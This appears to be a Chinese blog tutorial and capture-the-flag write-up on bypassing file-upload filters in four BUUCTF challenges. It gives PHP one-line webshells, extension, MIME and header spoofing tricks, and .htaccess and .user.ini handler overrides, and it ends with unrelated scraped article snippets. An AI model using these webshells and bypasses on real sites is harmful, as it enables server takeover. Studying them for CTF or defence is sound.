文件上传漏洞+CTF实例

news/2024/9/28 17:14:36/

解题思路

前端绕过

手动修改前端js代码进行绕过:右击-查看页面源代码-ctf+f进行位置定位-修改JavaScript函数

后端绕过

  • 文件类型绕过(Content-Type)

常见MIME类型描述
application/octet-stream

表示所有其他情况的默认值

text/plain表示文本文件的默认值
text/html超文本标记语言
application/rtfRTF文件
image/gifGIF图形
image/pngPNG图形
image/jpegJPEG图形.jpeg
audio/basicau声音文件.au
audio/mid、audio/midiMIDI音乐文件.mid、.midi
audio/x-pn-realaudioRealAudio音乐文件.ra、.ram
video/mpegMPEG文件.mpg、.mpeg
video/x-msvideoAVI文件.avi
application/x-gzipGZIP文件.gz
application/x-tarTAR文件.tar

各种后缀名绕过

# 有许多后缀名不为php,但仍会默认解析为php的后缀扩展名列表。
## .php:
.php2, .php3, .php4, .php5, .php6, .php7, .phps, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
## .asp:
.aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
## .jsp:
.jspx, .jsw, .jsv, .jspf, .wss, .do, .action, # 大小写空格下划线双写绕过
.pHp .PHP .php(空) .php. .php_ .pphphp# 利用Apache文件解析机制,从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止
.php.xxx# windows文件流绕过
.php::$DATA
## 在磁盘中创建1.php时,先是创建了1.php::$DATA,两者本质相同,但对于黑名单来说两者不一样

文件内容检测与绕过

# 如果检测的是<?,可以尝试其他一句话木马
<script language="php">eval($_POST[123]); </script>
## &#x3C;&#x3F; == <?
## &lt;? == <?# 如果检测文件头,可以在脚本开头添加图片对应的文件头
GIF89A?
<script language="php">eval($_POST[123]); </script># 如果利用getimagesize函数获取图片的宽高等信息,上传的不是图片,那么则获取不到信息。可以制作图片马
copy 1.jpg/b+1.php/a 2.jpg ## 1.jpg正常的图片,1.php里有一句话木马,生成2.jpg

.htaccess文件绕过

.htaccess本质为Apache配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录种放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录,管理相关目录下的网页配置。

使用方法:先上传.htaccess文件,写入以下内容;然后上传木马文件。

# .htaccess## 当前目录以及子目录所有文件将会被当作php解析
SetHandler application/x-httpd-php ## 匹配文件名(推荐)
<FileMatch "2.png">SetHandler application/x-httpd-php
</FileMatch>## 或者指定扩展名,例如以png为后缀的文件当作php文件解析
AddType application/x-httpd-php .png

%00和00截断 

在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。

# get方式
直接修改 1.php => 1.php%00# post方式
需要在bp中修改hex值,在1.php后添加一个hex值为00的字符

CTF实例

BUUCTF-ACTF2020新生赛upload1(后缀名绕过)

1.尝试上传一句话木马,发现页面弹窗:只能上传jpg,png,gif结尾的图片。前端修改绕过后然后用bp抓包,发现页面nonono bad file。尝试修改后缀名为php2,发现上传成功,但是用蚁剑连接发现返回数据为空。发现php6,php7也是这种情况。最终是.phtml成功连接

BUUCTF-极客大挑战2019-upload

1.尝试上传一句话木马文件,页面显示not image。bp抓包然后修改content-type为image/jpeg,页面显示not! php!,应该是内容检测,修改一句话木马和content-type,发现页面还是显示not php。

猜测源码:

1.先是检测content-type(若不是image/jpeg或image/png或image/gif就会显示not image)

2.修改content-type为image/jpeg,然后检测后缀名,(若是php,php2,php3,php4,php5则会显示not php)

3.修改后缀名为php6,发现显示NO! HACKER! your file included <?;',即是检测内容。

4.修改一句话木马为<script language="php">eval($_POST[1]);</script>,发现页面显示Don't lie to me, it's not image at all!!!

5.尝试在脚本前加文件头GIF89a?,上传成功。

2.访问网址/upload/1.php6,发现没有解析php,继续修改后缀名,发现用.phtml可以解析,最后用蚁剑连接成功,即可得到flag

BUUCTF-NewStarCTF2023-week2-Upload agin(.htaccess文件)

1.尝试上传一句话木马,用bp抓包,尝试修改后缀名为jpg和content-type为image/jpeg,显示这不还是php?。应该是内容检测,当修改后缀名为php.,同时内容改为<script language="php">eval($_POST['cmd'])</script>。发现上传成功了,但是蚁剑连接发现返回数据为空。

2.尝试先上传.htaccess文件,然后再上传木马文件,后缀名和内容同上。最后连接成功得到flag!!

# .htaccess文件的内容
SetHandler application/x-httpd-php

 

BUUCTF-SUCTF2019-CheckIn(.user.ini)

 1.尝试上传一句话木马,发现页面显示illegal suffix!,修改后缀名,发现.php.可以绕过;然后页面显示<? in contents!,修改一句话木马,页面显示exif_imagetype:not image!

exif_imagetype是一个函数,它读取一个图像的第一个字节并检查其签名

2.所以在一句话木马前加GIF89A可以绕过,上传成功。但是无法被php解析

  

3.这里看wp才发现要先上传一个user.ini文件,内容如下:

GIF89A
auto_prepend_file=1.php.

.user.ini是和.htaccess一样的目录配置文件,.user.ini就是用户自定义的一个.php.ini,我们可以利用这个文件来构造后门和隐藏后门。

.user.init中两个配置就是auto_prepend_file和auto_append_file,这个两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中,相当于在php文件中插入一句:require 1.jpg

前提是含有.user.ini的文件夹下需要有正常的php文件

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {$tmp_name = $_FILES["fileUpload"]["tmp_name"];$name = $_FILES["fileUpload"]["name"];if (!$tmp_name) {die("filesize too big!");}if (!$name) {die("filename cannot be empty!");}$extension = substr($name, strrpos($name, ".") + 1);if (preg_match("/ph|htacess/i", $extension)) {die("illegal suffix!");}if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {die("&lt;? in contents!");}$image_type = exif_imagetype($tmp_name);if (!$image_type) {die("exif_imagetype:not image!");}$upload_file_path = $userdir . "/" . $name;move_uploaded_file($tmp_name, $upload_file_path);echo "Your dir " . $userdir. ' <br>';echo 'Your files : <br>';var_dump(scandir($userdir));
}

然后上传1.php.,内容如下:

GIF89A
<script language="php">system('cat /flag')</script>

 最后访问/uploads/065831472858248584ff4993846d5065/index.php可以得到flag

或者修改一句话木马,然后也是用上面的网址蚁剑连接

 


http://www.ppmy.cn/news/1530747.html

相关文章

节日拜访:白酒作为节日礼物,传递节日祝福

随着节日的脚步渐近&#xff0c;人们开始忙碌地挑选礼物&#xff0c;准备拜访亲朋好友。在这个欢聚的时刻&#xff0c;选择一款合适的节日礼物显得尤为重要。而豪迈白酒&#xff08;HOMANLISM&#xff09;&#xff0c;作为一款品质且富有文化内涵的白酒&#xff0c;正逐渐成为人…

代码随想录算法训练营第58天|卡码网 117. 软件构建、47. 参加科学大会

1. 卡码网 117. 软件构建 题目链接&#xff1a;https://kamacoder.com/problempage.php?pid1191 文章链接&#xff1a;https://www.programmercarl.com/kamacoder/0117.软件构建.html 思路&#xff1a;使用BFS BFS的实现思路&#xff1a; 拓扑排序的过程&#xff0c;其实就两步…

Linux、Windows、Android下查看可执行文件、动态库和静态库信息的命令

TL; DR 我常用的命令&#xff1a; Linux lddWindows&#xff08;需要借助vs&#xff09; dumpbin /DEPENDENTSAndroid ldd 绝对路径在不同的操作系统下&#xff0c;查看可执行文件、动态库和静态库的命令各不相同。以下是 Linux、Windows 和 Android 平台下的常用命令&…

开源推理库介绍:ZML,Distributed Llama,EXO | LeetTalk Daily

“LeetTalk Daily”&#xff0c;每日科技前沿&#xff0c;由LeetTools AI精心筛选&#xff0c;为您带来最新鲜、最具洞察力的科技新闻。 开源推理库的出现为机器学习模型的部署、监控和扩展提供了强大的支持。我们介绍三个重要的开源推理库&#xff1a;ZML、Distributed Llama …

LiveQing视频点播流媒体RTMP推流服务功能-支持电子放大拉框放大直播视频拉框放大录像视频流拉框放大电子放大

LiveQing视频点播流媒体RTMP推流服务功能-支持电子放大拉框放大直播视频拉框放大录像视频流拉框放大电子放大 1、鉴权直播2、视频点播3、RTMP推流视频直播和点播流媒体服务 1、鉴权直播 鉴权直播-》播放 &#xff0c;左键单击可以拉取矩形框&#xff0c;放大选中的范围&#x…

react crash course 2024(2) 创建项目及vscode插件

使用vite创建react项目 npm create vitelatest react-crash-2024 跳到那个项目 cd .\react-crash-2024 打开那个项目 code . 在vite.config.js中设置端口 安装依赖 npm i 运行 npm run dev vs code插件 rafce //在底部导出的react箭头函数组件

【NLP】daydayup 循环神经网络基本结构,pytorch实现

RNN 循环神经网络 循环神经网络&#xff08;Recurrent Neural Network&#xff0c;RNN&#xff09;是一种神经网络结构&#xff0c;专门用于处理序列数据。 RNN结构原理 RNN架构中&#xff0c;网络通过循环把信息从一个处理步骤传递到下一个&#xff0c;这个循环结构被称为隐…

Springboot的两种配置文件语法详细介绍、properties与yml的区别、application.properties不可以用双引号?

文章目录 一、properties语法介绍二、yaml语法介绍三、总结3.1、properties与yml的区别3.2、properties不可以用双引号&#xff1f; 本篇文章介绍一下springboot两种配置文件properties与yml的区别&#xff0c;以及两种文件的写法 一、properties语法介绍 ‌Properties‌文件…